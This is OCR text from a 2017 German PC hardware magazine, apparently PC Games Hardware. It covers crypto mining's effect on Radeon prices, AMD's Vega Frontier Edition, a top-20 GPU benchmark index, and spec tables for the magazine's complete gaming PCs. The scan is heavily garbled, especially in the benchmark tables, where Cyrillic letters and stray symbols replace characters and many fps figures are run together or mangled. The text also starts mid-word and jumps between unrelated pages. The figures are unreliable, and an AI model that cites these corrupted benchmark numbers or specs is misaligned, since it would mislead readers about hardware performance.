ten Schürfer. Virtuell hingegen ist Minenarbeit 
gerade schwer angesagt: Crypto Mining, das 
Berechnen(lassen) von virtuellen Währungen, 
hat Hochkonjunktur. Wir zollen dem modernen 
Goldrausch mit einem eigenen Artikel Tribut, 
aber damit ist längst nicht alles gesagt. 


Ethereum mit seiner Krypto-Währung Ether 
wirft die größten Erträge ab, wenn eine potente 
Grafikkarte rechnet. Vor allem die auf Compu- 
te getrimmten Radeon-Chips glänzen hier mit 
großen Zahlen und werden daher in Massen 
von den ,Minern" gekauft — zum Leidwesen 
vieler Spieler, denn im Juni waren die Lager 
leer gefegt und die wenigen Restposten hoff- 
nungslos überteuert. Auf dem Gebrauchtmarkt 
sah es nicht besser aus, beim Blick auf so 
manche Ebay-Auktion kann man mit den Oh- 
ren schlackern: Da gehen jahrelang genutzte 
Hawaii-Karten des Typs R9 290 für 300 Euro 
weg, die 390 und 390X teilweise für 350 Euro! 
Ähnlich sieht es bei den Furien und aktuellen 
RX-Reihen aus. Eine Radeon als Wertanlage, 
das funktioniert gerade tatsáchlich. Wer cle- 
ver ge- und nun verkauft hat, nutzte seine 
AMD-Karte jahrelang kostenlos und kann mit 
etwas Zuzahlung aufrüsten. Vor allem Nutzer 
einer R9 390(X) kónnen sich auf die Schulter 
klopfen, denn die Karten sind — wie wir es pro- 
phezeit hatten — hervorragend gealtert, dank 8 
GiByte und guter Treiberarbeit láuft damit noch 
jedes Spiel sauber. Folgt man Crypto-Experten, 
wird der Wert dieser Karten in Kürze noch stei- 
gen, da Polaris wegen der schmalen Speicher- 
schnittstelle den náchsten Ether-Schwierigkeits- 
grad nicht mehr so gut stemmt, Hawaii und Fiji 
hingegen schon ... 
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AMD: Vega-Chip auf der Zielgeraden 


Seit dem 27. Juni sind Vega-Grafikkarten verfüg- 
bar - zunächst jedoch nur als Prosumer-Versionen. 
Spieler werden Ende Juli versorgt. 


as lange währt, wird endlich verfügbar: 

Wenn Sie diese Zeilen lesen, hat AMD 
die ersten Grafikkarten mit dem neuen Vega- 
Chip ausgeliefert. Wie wir unter anderem in der 
PCGH 07/2017 berichteten, steckt hinter Vega 
die neueste Ausbaustufe der „Graphics Core 
Next“-Architektur (GCN), welche die Vorgänger 
in beinahe allen Punkten verbessert und Model- 
le oberhalb der RX-500-Reihe ermöglicht. 


Den Anfang macht die Radeon Vega Frontier Edi- 
tion (FE). Das Vorbild für diese Grafikkarte ist 
Nvidia: Nicht nur der Name erinnert an die Ka- 
lifornier (Geforce Founder’s Edition), sondern 
auch die anvisierte Klientel: Sogenannte Prosu- 
mer oder „Prosumenten‘“, wie sie im modernen 
Marketingsprech genannt werden. Prosumer 
sind per definitionem Nutzer, die eine hohe Gra- 
fikleistung für semiprofessionelle Zwecke benö- 
tigen - sie pro-duzieren und kon-sumieren. Eine 
ähnliche Nische bedient Nvidia mit den Titan- 
Grafikkarten, welche im Gegensatz zu den Tes- 
la- und Quadro-Modellen relativ erschwinglich 
sind, jedoch auf die Profi-Merkmale (Treiber & 
Support) verzichten müssen. 


Die Frage, wie „professionell“ die Vega FE ist, 
bleiben wir Ihnen bis zum Test in der nächsten 
Ausgabe schuldig. Bis dahin ist unklar, welchen 


Treiberumfang die Grafikkarte bekommt, denn 
AMD betont, dass die Frontier Edition nicht für 
PC-Spiele optimiert sei. Die Vega-Hardware ver- 
heißt jedoch die schnellste Radeon überhaupt 
und ist somit auch für Spieler interessant. 


Die Radeon Vega Frontier Edition wird in zwei 
Versionen erhältlich sein, einmal mit Luft- und 
einmal mit Kompaktwasserkühlung im Stile der 
Fury X. Beide verfügen über einen vollständig 
aktiven Vega 10 mit 4.096 Shader-ALUs. Da- 
ran hängen zwei ,8-Hi"-Stapel des neuen HBM 
der zweiten Generation, gleichbedeutend mit 
insgesamt 16 GiByte Speicherkapazität. Die of- 
fiziell von AMD genannte Übertragungsrate be- 
trägt 480 GByte/s, was auf einen Takt von 930 
MHz schließen lässt. Zum Vergleich: Die Fury 
(X) und Nano arbeiten mit lediglich 500 MHz, 
dafür jedoch doppelt so vielen HBM-Chips und 
Datenbahnen (4.096 statt 2.048) - der Vergleich 
oben zeigt die beiden Geschwister Fiji (links) 
und Vega. Folgt man weiterhin den Angaben zur 
maximalen Boardpower - 300 Watt für die luft- 
und 375 Watt für die wassergekühlte Frontier 
Edition -, ist davon auszugehen, dass der Auf- 
preis für die bessere Kühlung in einer hóheren 
Leistung(saufnahme) mündet. Die Hándler ver- 
melden pauschale Bestwerte von 13,1 TFLOPs 
bei einfacher Genauigkeit für beide Varianten, 
die mit einem GPU-Takt von rund 1.600 MHz er- 
reicht werden. Die günstigeren Gaming-Modelle 
der „RX Vega“-Reihe sollen Ende Juli starten - 
zum Start als Referenzdesigns. (rv) 
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GPU-Leistungsindex: Top 20 


E Gesamt B FHD E WQHD E UHD 


| Preis-Leistungs-Index (РІМ): Mehr ist besser 


BESSER > | Normierte Leistung 


Titan Xp 


Takt: 1.582 MHz, 11,4 GT/s 

RAM: 12 GiB GDDR5X 

Preis: Ca. 1.290 € (-60) 
PLV: 40 % 


Geforce 
GTX 1080 Ti 


Takt: 1.582 MHz, 11 GT/s 

RAM: 11 GiB GDDR5X 

Preis: Ca. 670 € (-10) 
PLV: 73,4 % 


Titan X 

(Pascal) 

Takt: 1.531 MHz, 10 GT/s 
RAM: 12 GiB GDDR5X 


Preis: Nicht lieferbar 
РМ: – 


Geforce 
GTX 1080 


Takt: 1.733 MHz, 10 GT/s 

RAM: 8 GiB GDDR5X 

Preis: Ca. 510 € (+20) 
PLV: 80 % 


Geforce 
GTX 1070 


Takt: 1.683 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 410 € (+20) 
PLV: 81,5 % 


Geforce 
GTX 980 Ti 


Takt: 1.075 MHz, 7 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 600 € (4-120) 
PLV: 51,6 % 


Radeon 
R9 Fury X 


Takt: 1.050 MHz, 1 GT/s 

RAM: 4 GiB HBM 

Preis: Ca. 580 € (+40) 
PLV: 51 96 


Radeon 
R9 390X 


Takt: 1.050 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 530 € (+250) 
РІМ: 47,9 % 


Geforce 
GTX 980 


Takt: 1.216 MHz, 7 GT/s 

RAM: 4 GiB GDDR5 

Preis: Ca. 380 € (+0) 
PLV: 65,4 % 


Radeon 
RX 580/8G 


Takt: 1.340 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 350 € (+90) 
PLV: 70,8 % 


100% 


г o 
wa 
=ww——ssHOIrEK IK ai 100 % 


А05: 51/43/40 
ACS: 91/67/38 
ВІ: 216/157/90 
C3: 128/83/42 


CW: 95/87/55 
DMD: 123/88/49 
DM: 200/176/89 
TES: 245/224/140 


F1: 112/97/68 


FCP: 108/85/53 
GTA: 72/57/34 


——— °. 


F1:112/95/64 
F04: 156/106/54 
FCP: 105/81/49 
GTA: 72/56/32 


A05: 48/42/38 
ACS: 90/65/37 
Bl: 207/147/84 
C3: 121/78/38 


CW: 95/83/51 
DMD: 119/84/46 
DM: 200/171/87 
TES: 237/214/130 


943% 


МЕС: 117/85/47 
РОД: 164/115/59 OW: 247/168/88 


КОТ: 111/81/56 
ТТР: 119/95/61 


TWW: 66/64/35 
ЕСК: 128/82/39 
W3: 137/97/54 
COP: 54,3 


Geforce 

GTX 1060/6G 

Takt: 1.709 MHz, 8 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 270 € (+20) 
PLV: 89,6 % 


МЕС: 115/81/44 TWW: 66/60/32 


OW: 236/159/82 


ROT: 104/74/42 
ТТР: 113/90/57 


ECR: 118/75/36 
W3: 132/93/51 
COP: 51,0 


Radeon 
RX 480/8G 


Takt: 1.266 MHz, 7 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 370 € (+110) 
PLV: 64,4 % 


G=— ——suIUIIIGaass.. Y; 
G= 2.2 ° 
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МЕС: 114/81/44 TWW: 66/60/32 


A0S: 47/41/37 
ACS: 89/63/36 
Bl: 204/145/83 
(3: 121/78/39 


CW: 95/83/50 
DMD: 117/83/45 
DM: 200/169/85 FCP: 103/80/48 
TES: 237/213/129 GTA: 71/56/32 


F1:110/94/64 


РО4: 156/106/54 — OW: 229/157/81 


ROT: 102/73/41 
TIP: 112/89/56 


ECR: 119/75/36 
W3: 130/92/50 
COP: 50,6 


Radeon 

R9 390 

Takt: 1.000 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


=G—————a °: 
г ы 


С. 


=ww—at 


А05: 44/35/30 
ACS: 77154129 
BI: 170/121/63 
C3: 95/60/30 


CW: 94/78/38 
DMD: 99/68/36 
DM: 194/136/68 
TES: 227173101 


F1: 98/82/53 
F04: 130/85/43 
FCP: 87/66/39 
СТА: 63/47/25 


А05: 39/29/27 Р1: 81/66/42 
АСЅ: 64/44/24 
ВІ: 143/98/50 


C3: 77/48/24 


CW: 93/62/30 
DMD: 79/53/28 РО4: 105/69/35 
DM: 165/106/53 FCP: 68/51/30 
TES: 197/143/84 СТА: 53/38/20 


МЕС: 97/68/36 


OW: 176/120/63 


ROT: 84/59/31 


TWW: 65/48/26 
ECR: 94/59/27 
W3: 109/76/40 


Radeon 
RX 480/4G 


Takt: 1.266 MHz, 8 GT/s 

RAM: 4 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


OW: 141/95/50 
ROT: 66/45/24 


ЕСА: 76/47/22 
W3: 87/59/31 


TTP: 105/79/47 СОР: 44,9 

Radeon 
T RX 570/4G 

Takt: 1.245 MHz, 7 GT/s 
МЕС: 77/53/28 ТУЛА: 58/39/21 RAM: 4 GiB GDDR5 


Preis: Ca. 230 € (4-50) 


D 0°. 


==———WWa 5/1 % 
GD 


RN Ó 


А05: 31/24/22 CW: 91/58/28 F1: 75/62/40 
АСЅ: 54/39/21 DMD: 73/51/27 F04: 99/66/34 
ВІ: 143/99/51 DM: 151/96/47 СР: 60/47/29 


Д 0j 
TTP: 69/54/34 СОР: 41,1 PLV 924% 
Radeon 
R9 290 
Takt: 947 MHz, 5 GT/s 
MEC: 69/48/20 TWW: 55/38/20 RAM: 4 GiB GDDR5 


OW: 134/90/47 
ROT: 62/44/24 


ECR: 72/45/21 
W3: 79/54/29 


Preis: Nicht lieferbar 
РМ: – 


C3: 74/47/23 TES: 177/130/77 СТА: 45/34/19 ТТР: 66/52/32 СОР: 37,5 
r F 573 : 

——rrrwwsi ©; Geforce 
PR 53.7 % GTX 1060/36 
ww Takt: 1.709 MHz, 8 GT/s 
AOS: 34/28/26 CW: 85/59/30 F1: 72/60/41 MEC: 33/24/11 TWW: 46/3117 RAM: 3 GiB GDDR5 


ACS: 49/30/13 
BI: 150/101/53 


DMD: 73/50/23 
DM: 177/115/57 


F04: 81/56/29 
FCP: 58/47/31 


OW: 126/88/47 
ROT: 49/37/22 


ECR: 57/38/19 
W3: 75/54/31 


Preis: Ca. 210 € (+30) 
PLV: 100 % 


C3: 71/47124 TES: 132/104/66 GTA: 42/31/14 ТТР: 68/55/35 COP: 59,8 

г пя 

SR :©. 9 Radeon 

Г „= RX 470/86 
wai Takt: 1.205 MHz, 6,6 GT/s 
A0S: 29/23/22 CW: 78/51/25 F1: 61/51/34 МЕС: 50/35/19 TWW: 33/24/13 RAM: 8 GiB GDDR5 


ACS: 39/27/15 
Bl: 124/80/40 


DMD: 62/42/22 
DM: 135/88/44 


F04: 66/45/23 
FCP: 50/40/26 


OW: 99/68/34 
ROT: 44/33/19 


ECR: 46/31/15 
W3: 54/38/21 


Preis: Nicht lieferbar 
РМ: – 


(3: 58/38/19 TES: 121/94/59 СТА: 37/28/15 ТТР: 68/53/31 СОР: 56,1 
—— 5 

ИН Ó : °; шо 
Г = GTX 970 

Gw ws Takt: 1.178 MHz, 7 GT/s 
AOS: 28/2220 СМ: 77/46/22 F1: 66/53/34 МЕС: 35/27/13 TWW: 45/30/15 RAM: 3,5«0,5 GiB GDDR5* 


ACS: 48/32/14 
Bl: 123/80/39 


DMD: 63/43/21 
DM: 128/81/39 


FO4: 83/54/27 
FCP: 50/39/23 


OW: 115/76/39 
ROT: 38/22/13 


ECR: 58/36/17 
W3: 67/45/24 


Preis: Ca. 270 € (+70) 


A 0j 
C3: 60/37/18 TES: 146/106/61 СТА: 40/29/15 TTP: 53/41/25 СОР: 31,6 РІМ: 75,9 % 
| TEL 
EK Radeon 
EE 3 % RX 470/4G 
EK Takt: 1.205 MHz, 6,6 GT/s 
A0S: 29/23/22 CW: 66/43/20 F1: 67/55/34 МЕС: 56/37/19 TWW: 37/26/15 RAM: 4 GiB GDDR5 


ACS: 42/28/15 
ВІ: 116/73/35 
C3: 52/33/16 


DMD: 63/42/21 
DM: 154/97/46 
TES: 127/92/53 


F04: 67/43/20 
FCP: 47/37/23 
GTA: 36/26/13 


OW: 105/70/36 
ROT: 45/33/19 
TTP: 49/38/24 


ECR: 47/29/14 
W3: 63/43/23 
COP: 48,7 


Preis: Nicht lieferbar 
РМ: – 


AOS: 29/22/21 
ACS: 47/32/15 
ВІ: 113/72/36 
С3: 56/35/17 


CW: 74/45/21 
DMD: 58/39/20 
DM: 117/74/36 
TES: 146/103/59 


Р1: 60/48/30 

F04: 75/49/25 
FCP: 49/37/21 
GTA: 40/28/15 


MEC: 56/37/15 
OW: 105/69/35 
ROT: 43/31/17 
TTP: 49/38/24 


TWW: 41/27/14 
ECR: 53/33/15 
W3: 61/41/22 
СОР: 32,3 


ВЭД 


Г Г 
I 2,6 
BN 5:6 

AOS: 28/22/21 ^ ОМ:65/41/20 Fl:63/52/33 
АС: 412714 — DMD:61/41/20 — FO4:65/41/20 
BI111/70/34 DM: 145/91/44 — FCP:46/3622 
C3:51/32/15 ТЕ5:118/87/51 — GTA: 35/25/13 


MEC: 53/36/19 
OW: 102/69/35 
ROT: 44/31/18 
TTP: 47/37/23 


TWW: 35/24/13 
ECR: 44/28/13 
W3: 60/41/22 
COP: 46,3 


———— ° 


LL ra :. % 
ЕА 
UU 
AOS:27/2201 CW: 74/48/23 — Fl:55/46/30 
ACS: 35/25/14 ` ОМО: 58/40/21 ЕО4: 63/43/22 
BI: 114/73/37 ОМ: 124/80/40 ЕСР: 46/37/23 
C3:54/36/18 TES: 111/85/53 СТА: 34/26/14 


МЕС: 47/3218 
0W: 93/64/33 
ROT: 40/30/17 
TTP: 52/42/26 


TWW: 29/21/12 
ECR: 43/29/14 
W3: 48/33/18 
СОР: 54,8 


ВЛ 


С я 
ни 0.3 % 
mw. 

AOS: 28/21/20 — CW:G2/40/19 — F1:62/51/32 
ACS: 39/24/12 ОМО: 58/39/18 ЕО4: 63/40/19 
BI: 108/68/33 ОМ: 143/90/43 ЕСР: 45/35/21 
СЗ: 49/31/14 TES:117/85/50 СТА: 34/24/12 


МЕС: 30/22/14 
OW: 101/67/34 
ROT: 42/30/17 
TTP: 46/36/23 


TWW: 34/23/7 
ECR: 43/27/13 
W3: 59/40/21 
COP: 46,3 


LEE 


sa. 
C 55 % 
СДД 


А05: 26/20/19 CW: 60/37/18 F1: 60/49/30 


МЕС: 29/20/12 TWW: 31/21/7 


ACS: 38/2519 DMD: 56/37/18 FO4:60/39/18 OW: 94/63/32 ЕСҜ:42/26/13 
BI: 103/65/31 ОМ: 134/83/40 ЕСР: 42/33/20 ROT: 39/28/15 W3: 55/37/20 
C3:47/304 TES: 114/81/48 — GTA;33/23/2 ТТР: 44/34121 COP: 40,5 
LEE 
Ши 

БЕ 

и 34,3 % 

A0S:25/20/19  CW:69/43/22 — Fl:514227 МЕС: 28/20/11 TWW: 27/20/11 


ACS: 33/21/11 
Bl: 106/68/34 
C3: 50/33/16 


DMD: 52/36/17 
DM: 114/74/36 
TES: 103/79/49 


F04: 57/39/20 
РСР: 42/34/22 
СТА: 32/23/8 


0W: 85/57/29 
ROT: 38/28/16 
TTP: 48/38/24 


ECR: 40/26/13 
W3: 45/32/17 
СОР: 48,9 


г Шш 


Ни 57 
wawa 
LU 
AOS: 28/21/14 СМ: 70/43/20 
ACS: 45/2815  DMD:51/32/15 
BI: 108/68/34 ОМ: 105/69/26 
C3: 53/33/16 TES: 134/96/54 


F1: 57/46/28 
F04: 70/45/23 
FCP: 46/34/20 
GTA: 38/27/6 


MEC: 31/20/9 
OW: 96/63/32 
ROT: 21/15/9 

TTP: 46/36/22 


TWW: 37/15/6 
ECR: 50/30/13 
W3: 57/39/20 
СОР: 31,0 


ВЕЕ 


N -2 
I BED 
was 
AOS:25/19/18 СМ:56/35/17 
ACS:3604/12 — DMD:53/35/18 

BI: 98/61/30 DM: 128/80/38 
C3:4528/13 TES: 107/78/45 


F1: 57/47/29 

F04: 58/37/17 
FCP: 41/32/20 
GTA: 31/22/11 


MEC: 47/32/17 
OW: 89/60/31 

ROT: 38/28/16 
TTP: 42/33/20 


TWW: 30/20/10 
ECR: 40/25/12 
W3: 53/36/19 
COP: 39,3 


I ҥш 


s; % 
a 37,5% 
Kwa 
AOS:24/18/17  CW:64138/18 
ACS: 40/26/11 DMD: 51/34/17 
BI: 106/67733 DM: 106/66/32 
C3: 50/31/15 ТЕ5:122/88/50 


F1: 56/45/25 
F04: 68/45/22 
FCP: 43/31/17 
GTA: 34/2417 


* 3.584 MiB (224 Bit) 
+ 512 MiB (32 Bit) 


MEC:31/23/11 
OW: 90/60/31 
ROT: 33/22/13 
TTP: 43/34/21 


TWW: 38/25/11 
ECR: 43/26/12 
W3: 54/37/19 
СОР: 28,5 


ВД 


Ни ° 
Ір 
E 32,7 % 
AOS:25/19/08 —— CW:58135/17 
ACS: 36/249 — DMD:53/35/17 
BI: 98/61/30 ` DM: 128/79/38 
C3: 45/28/13 ТЕ5:107/78/45 


Е1: 57/47/29 

F04: 58/37/17 
РСР: 41/32/20 
GTA: 31/22/11 


МЕС: 28/20/12 
0W: 90/60/31 
ROT: 38/27/15 
ТТР: 42/33/21 


TWW: 30/20/7 
ECR: 40/25/12 
W3: 53/36/19 
СОР: 39,3 


Spiele-/Anwendungsnamen: Ashes o 


System: Core i7-6800K @ 4,4 GHz Ee 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64; anisotroper Texturfilter konsequent auf „Hohe Qualität“ (HQ-AF); Vsync aus 

the Singularity (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (BI), Crysis 3 (C3), Crysis Warhead (CW), Deus Ex: Mankind Divided (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (FO4), 
Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (ТТР), Total War: Warhammer (TWW), The Elder Scrolls 5: Skyrim (TES), The Vanishing of 
Ethan Carter Redux (ECH), The Witcher 3 (W3), Capture One Pro (COP). Angabe auf die nächste Ganzzahl gerundeter Fps, außer COP (Megapixel/s). Wichtig: Die Anwendungsleistung fließt (nur) in den blauen Gesamt-Index ein. 
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Alle aktuellen PCGH-Kom- 
olett-PCs im Überblick 


Hochwertige Bauteile, ein flüsterleiser Betrieb und der Gaming-Fokus zeichnen 
unsere PCGH-PCs aus. Wir verschaffen Ihnen einen Überblick über die Auswahl. 


ie haben keine Zeit oder Lust, einen neuen Komplett-PC für sich 
Ss. oder für Freunde und Bekannte zusammenzubauen? Dann 
könnten unsere PCGH-PCs, die von unserem Partner Alternate nach 
unseren Wünschen gebaut und verkauft werden, die richtige Wahl sein. 
Ein weiterer Vorteil im Vergleich zum Schrauben: Läuft der Rechner 
innerhalb von zwei Jahren mal nicht rund, schicken Sie diesen einfach 
zu Alternate in die Serviceabteilung, ohne dass Ihnen dabei Kosten 
entstehen. Nicht immer ist es einfach, die Fehlerquelle zu identifizieren, 
um das defekte Bauteil zu ersetzen. Unser limitierter PCGH-Fan-PC 
ist inkl. Windows 10 Home schon für 1.369 Euro zu haben. Hoch- 
wertige PCGH-Komponenten zeichnen dieses Modell aus. Mit seiner 


Geforce GTX 1060 wird es beim Thema 4K-Gaming aber eng. Sol- 
len es möglichst viele CPU-Kerne sein, bietet der PCGH-Gaming-PC 
Ryzen-Edition mit seinen acht CPU-Kernen einen günstigen Einstieg. 


Zusammen mit der Geforce GTX 1070 sind Sie für alle aktuellen Spiele 


bestens gerüstet. Intels schnellste CPU für den Sockel 1151 ist der 
Core i7-7700K und diesen verbauen wir ab dem PCGH-Enthusiast-PC. 
Sechskern-CPUs von Intel bieten der Ultimate-PC sowie der Epic-PC 


GTX1080-Edition bzw. GTX1080Ti-Edition. An der Spitze steht dage- 


gen der Epic-PC Ryzen-Edition mit seinen acht CPU-Kernen und der 
Geforce GTX 1080 Ti. Wie bei allen Epic-PCs wurde dabei auf eine 
mechanische Festplatte verzichtet. 


(dw) 


Нагашаге 


>GH-Produkt 


Hersteller/Bezugsquelle 


PCGH-Fan-PC 
Limited-Edition 
Alternate (www.pcgh.de/alternate) 


GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


PCGH-High-End-PC 
GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


PCGH-Enthusiast-PC 
GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/fan-pc 


www.pcgh.de/gaming-pc 


www.pcgh.de/ryzen1700-pc 


www.pcgh.de/highend-v2-pc 


www.pcgh.de/enthusiast2-pc 


Ausstattung 

Prozessor Intel Core i5-7600K (Sockel 1151) | Intel Core 15-7600 (Sockel 1151) AMD Ryzen 7 1700 Intel Core i5-7600K (Sockel 1151) | Intel Core i7-7700K (Sockel 1151) 
Grafikkarte Asus GTX 1060 Dual OC (6 GB) Asus GTX 1070 Strix OC Gaming Asus Geforce GTX 1070 Dual Asus GTX 1070 Strix OC Gaming Asus GTX 1070 Strix OC Gaming 
Mainboard Asus Strix Z270F Gaming MSI B250 PC Mate MSI B350 PC Mate Asus Prime Z270-P Asus Prime Z270-A 


SSD-Laufwerk 


275-GB-SSD (Crucial MX300) 


275-GB-SSD (Crucial MX300 M.2) 


275-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300) 


HDD-Laufwerk 


2.000-GB-HDD (Seagate) 


1.000-GB-HDD (Seagate/WD Blue) 


1.000-GB-HDD (Seagate/WD Blue) 


1.000-GB-HDD (Seagate/WD Blue) 


2.000-GB-HDD (Seagate/WD Blue) 


Speicher 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 
Netzteil Seasonic G-Series 550W PCGH-Ed. Cooler Master B500 Rev. 2 Be quiet Pure Power 10 400W Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. 
CPU-Kühler EKL Brocken 2 PCGH-Edition EKL Brocken 2 PCGH-Edition Scythe Mugen 5 PCGH-Edition Scythe Mugen 4 PCGH-Edition Scythe Mugen 4 PCGH-Edition 
Gehäuse Fractal Design R5 PCGH-Edition Sharkoon M25-V Sharkoon M25-V Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound 


Lautstärke 2D (0,5 m) 


Gehäuselüfter/Sonstiges ale 


3x Lüfter _ 


mu X Lüfter, WLAN Karte U 


| 3X Lüfter, WAN Kate EN 


EE Lüfter, WLAN-K CN 


0,3 Sone/22 dB(A) 0,2 Sone/20 dB(A) 0,1 Sone/18 dB(A) 0,3 Sone/22 dB(A) 0,2 Sone/20 dB(A) 
Lautstárke 3D (0,5 m) 0,7 Sone/26 dB(A) 1,2 Sone/31 dB(A) 1,5 Sone/33 dB(A) 0,7 Sone/27 dB(A) 0,6 Sone/26 dB(A) 
Leistungsaufnahme 2D/3D 41 Watt/187 Watt 37 Watt/249 Watt 46 Watt/232 Watt 36 Watt/240 Watt 40 Watt/254 Watt 
3D Mark (Fire Strike) 3.039 (U), 5.718 (E), 10.714 (S) 4.406 (U), 7.943 (E), 14.368 (S) 4.251 (U), 8.031 (E), 14.862 (S) 4.429 (U), 7.982 (E), 14.479 (S) 4.567 (U), 8.472 (E), 16.186 (S) 
Crysis 3/The Witcher 3 59 Fps/45 Fps 80 Fps/68 Fps 79 Fps/61 Fps 82 Fps/68 Fps 83 Fps/68 Fps 


Stalker: Call of Pripyat 


148 Fps (Sun Shafts, Ultra, 4x AA) 


191 Fps (Sun Shafts, Ultra, 4x AA) 


163 Fps (Sun Shafts, Ultra, 4x AA) 


192 Fps (Sun Shafts, Ultra, 4x AA) 


205 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


177 Fps (1.920 x 1.080) 


245 Fps (1.920 x 1.080) 


236 Fps (1.920 x 1.080) 


245 Fps (1.920 x 1.080) 


248 Fps (1.920 x 1.080) 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


Cinebench R11.5 x64 (CPU) 7,66 Punkte 7,45 Punkte 15,60 Punkte 7,63 Punkte 10,85 Punkte 
PREIS 
TU ST - € 1.449,- € 1.479,- €1.679,- €1.929,- 
PREIS €1.369, - €1.549,- €1.579,- €1.769,- €2.029,- 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


© Hochwertige Basis-Komponenten 
© Sehr leise unter 2D und 3D 
© Kleine SSD 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Kleine SSD 


© Sehr hohe CPU-Leist. (8 Kerne) 
© Aktuell leisester PC unter 2D 
© Hörbare Grafikkarte in 3D 


© Neuer Intel Kaby-Lake-Prozessor 
© Sehr leise unter 2D und 3D 
© Kein Blu-ray-Laufwerk 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


ANZEIGE 


figuriert von den 
KCGH-Redakteuren 


ptimiert 


Nur Retail 
Für Silent-Betrieb o 
rfekt eingestellt 


КОЧ 


INF0: Bei den PCGH-PCs 

werden nur hochwertige 

Retail-Komponenten und 
keine OEM-Produkte verbaut, 


www mes 


AWA WAWA 


w 
waw AAA 


um eine hohe Qualität und 
einen niedrigen Lärmpegel zu 


gewährleisten. 


* Preiserfassung und Produktdaten vom 
19.06.2017, unter www.pcgh.de/alternate 
finden Sie stets den aktuellen Preis. Bei 
der Variante mit Betriebssystem sind neben 
Windows auch sämtliche Treiber installiert 
und der PC ist sofort einsatzbereit. 
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Hardware 


Offizielles PCGH-Produkt 


Produkt 


Hersteller/Bezugsquelle 


treme-PC 
GTX1080-Edition V2 
Alternate (www.pcgh.de/alternate) 


GTX1080-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


PCGH-Epic-PC 
GTX1080Ti-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


wit pogh de/exreme-pc 


www.pcgh.de/ultimate-pc __ 


www.pcgh.de/epic-pc 


www.pcgh.de/epic1 080ti-pc _ 


wivpogh defgent&O0c pc. 


Prozessor 


Intel Core i7-7700K (Sockel 1 


51) 


Intel Core i7-6800K (Sockel 2011-3) Intel Core i7-6800K (Sockel 2011-3) Intel Core i7-6800K (Sockel 2011-3)| AMD Ryzen 7 1800X 
Grafikkarte Asus GTX 1080 Strix Advanced Geforce GTX 1080 (OC-Version) Asus GTX 1080 Strix Advanced Asus Geforce GTX 1080 Ti Strix Asus Geforce GTX 1080 Ti Strix 
Mainboard Asus Prime Z270-A Asus Strix X99 Gaming Asus Strix X99 Gaming Asus Strix X99 Gaming Asus Crosshair VI Hero 


SSD-Laufwerk 


525-GB-SSD (Crucial MX300 


1.050-GB-SSD (Crucial MX300) 


1 TB + 512 GB M.2 (Crucial/Sams.) 


1 TB + 512 GB M.2 (Crucial/Sams.) 


1TB + 512 GB M.2 (Crucial/Sams.) 


HDD-Laufwerk 


3.000-GB-HDD (Seagate/WD Red) 


3.000-GB-HDD (Seagate/Toshiba) 


Speicher 


16 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


32 GB DDR4-2400 (Ballistix) 


Netzteil 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


Seasonic G-Series 550W PCGH-Ed. 


CPU-Kühler 


Scythe Mugen 4 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


EKL Brocken 2 PCGH-Edition 


Scythe Mugen 5 PCGH-Edition 


Gehäuse 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Fractal Design R5 PCGH-Edition 


Laufwerk/Soundkarte 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


Blu-ray-Brenner/Onboard-Sound 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Pro) 


(inkl. Windows 10 Pro) 


